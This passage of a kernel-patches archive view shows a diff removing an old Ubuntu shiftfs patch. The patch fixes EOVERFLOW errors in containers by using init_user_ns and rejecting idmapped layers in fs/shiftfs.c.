- if (!loweri->i_op->tmpfile) |
6492 |
- return -EOPNOTSUPP; |
6493 |
- |
6494 |
- oldcred = shiftfs_override_creds(dir->i_sb); |
6495 |
-- err = loweri->i_op->tmpfile(&init_user_ns, loweri, lowerd, mode); |
6496 |
-+ err = loweri->i_op->tmpfile(&init_user_ns, loweri, file, mode); |
6497 |
- revert_creds(oldcred); |
6498 |
- |
6499 |
- return err; |
6500 |
--- |
6501 |
-2.39.2 |
6502 |
- |
6503 |
-From 63014ad24c3b175e503324461ded0a6a8ed12ab6 Mon Sep 17 00:00:00 2001 |
6504 |
-From: Alexander Mikhalitsyn <aleksandr.mikhalitsyn@×××××××××.com> |
6505 |
-Date: Tue, 31 Jan 2023 17:11:48 +0100 |
6506 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: fix -EOVERFLOW inside the container |
6507 |
-Cc: mpagano@g.o |
6508 |
- |
6509 |
-BugLink: https://bugs.launchpad.net/bugs/1990849 |
6510 |
- |
6511 |
-We haven't supported idmapped layers with shiftfs and moreover, that makes |
6512 |
-no sense. Once lower fs support idmapped mounts when shiftfs is not needed. |
6513 |
- |
6514 |
-Starting from linux-image-5.15.0-48-generic users started seeing EOVERFLOW |
6515 |
-errors from the userspace side on a trivial fs operations inside the containers. |
6516 |
- |
6517 |
-This is caused by patches ("fs: tweak fsuidgid_has_mapping()"), |
6518 |
-("fs: support mapped mounts of mapped filesystems"). These patches extends |
6519 |
-and enables idmapped mounts support in Ubuntu kernel, but the problem is |
6520 |
-that shiftfs was not properly ported. |
6521 |
- |
6522 |
-See also: |
6523 |
-("namei: prepare for idmapped mounts") |
6524 |
-https://lore.kernel.org/all/20210121131959.646623-15-christian.brauner@××××××.com/ |
6525 |
-("overlayfs: do not mount on top of idmapped mounts") |
6526 |
-https://lore.kernel.org/all/20210121131959.646623-29-christian.brauner@××××××.com/ |
6527 |
-as a reference. |
6528 |
- |
6529 |
-This patch should be appied on top of kinetic/master-next and based on the |
6530 |
-changes by Andrea Righi 4c934edc66 ("UBUNTU: SAUCE: shiftfs: always rely on init_user_ns") |
6531 |
- |
6532 |
-This commit together with 4c934edc66 ("UBUNTU: SAUCE: shiftfs: always rely on init_user_ns") |
6533 |
-have to be ported to the jammy tree too. |
6534 |
- |
6535 |
-Fixes: d347e71d2c0 ("UBUNTU: [SAUCE] shiftfs: support kernel 5.15") |
6536 |
-Reported-by: Thomas Parrott <thomas.parrott@×××××××××.com> |
6537 |
-Signed-off-by: Alexander Mikhalitsyn <aleksandr.mikhalitsyn@×××××××××.com> |
6538 |
-Acked-by: Tim Gardner <tim.gardner@×××××××××.com> |
6539 |
-Acked-by: Andrea Righi <andrea.righi@×××××××××.com> |
6540 |
-Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com> |
6541 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
6542 |
---- |
6543 |
- fs/shiftfs.c | 16 +++++++++++++--- |
6544 |
- 1 file changed, 13 insertions(+), 3 deletions(-) |
6545 |
- |
6546 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
6547 |
-index cda74b614505..2664e1fb65d3 100644 |
6548 |
---- a/fs/shiftfs.c |
6549 |
-+++ b/fs/shiftfs.c |
6550 |
-@@ -632,10 +632,10 @@ static int shiftfs_rename(struct user_namespace *ns, |
6551 |
- struct inode *loweri_dir_old = lowerd_dir_old->d_inode, |
6552 |
- *loweri_dir_new = lowerd_dir_new->d_inode; |
6553 |
- struct renamedata rd = { |
6554 |
-- .old_mnt_userns = ns, |
6555 |
-+ .old_mnt_userns = &init_user_ns, |
6556 |
- .old_dir = loweri_dir_old, |
6557 |
- .old_dentry = lowerd_old, |
6558 |
-- .new_mnt_userns = ns, |
6559 |
-+ .new_mnt_userns = &init_user_ns, |
6560 |
- .new_dir = loweri_dir_new, |
6561 |
- .new_dentry = lowerd_new, |
6562 |
- }; |
6563 |
-@@ -971,7 +971,7 @@ shiftfs_posix_acl_xattr_set(const struct xattr_handler *handler, |
6564 |
- return -EOPNOTSUPP; |
6565 |
- if (handler->flags == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) |
6566 |
- return value ? -EACCES : 0; |
6567 |
-- if (!inode_owner_or_capable(ns, inode)) |
6568 |
-+ if (!inode_owner_or_capable(&init_user_ns, inode)) |
6569 |
- return -EPERM; |
6570 |
- |
6571 |
- if (value) { |
6572 |
-@@ -2015,6 +2015,16 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data, |
6573 |
- goto out_put_path; |
6574 |
- } |
6575 |
- |
6576 |
-+ /* |
6577 |
-+ * It makes no sense to handle idmapped layers from shiftfs. |
6578 |
-+ * And we didn't support it properly anyway. |
6579 |
-+ */ |
6580 |
-+ if (is_idmapped_mnt(path.mnt)) { |
6581 |
-+ err = -EINVAL; |
6582 |
-+ pr_err("idmapped layers are currently not supported\n"); |
6583 |
-+ goto out_put_path; |
6584 |
-+ } |
6585 |
-+ |
6586 |
- sb->s_flags |= SB_POSIXACL; |
6587 |
- |
6588 |
- if (sbinfo->mark) { |
6589 |
--- |
6590 |
-2.39.2 |
6591 |
- |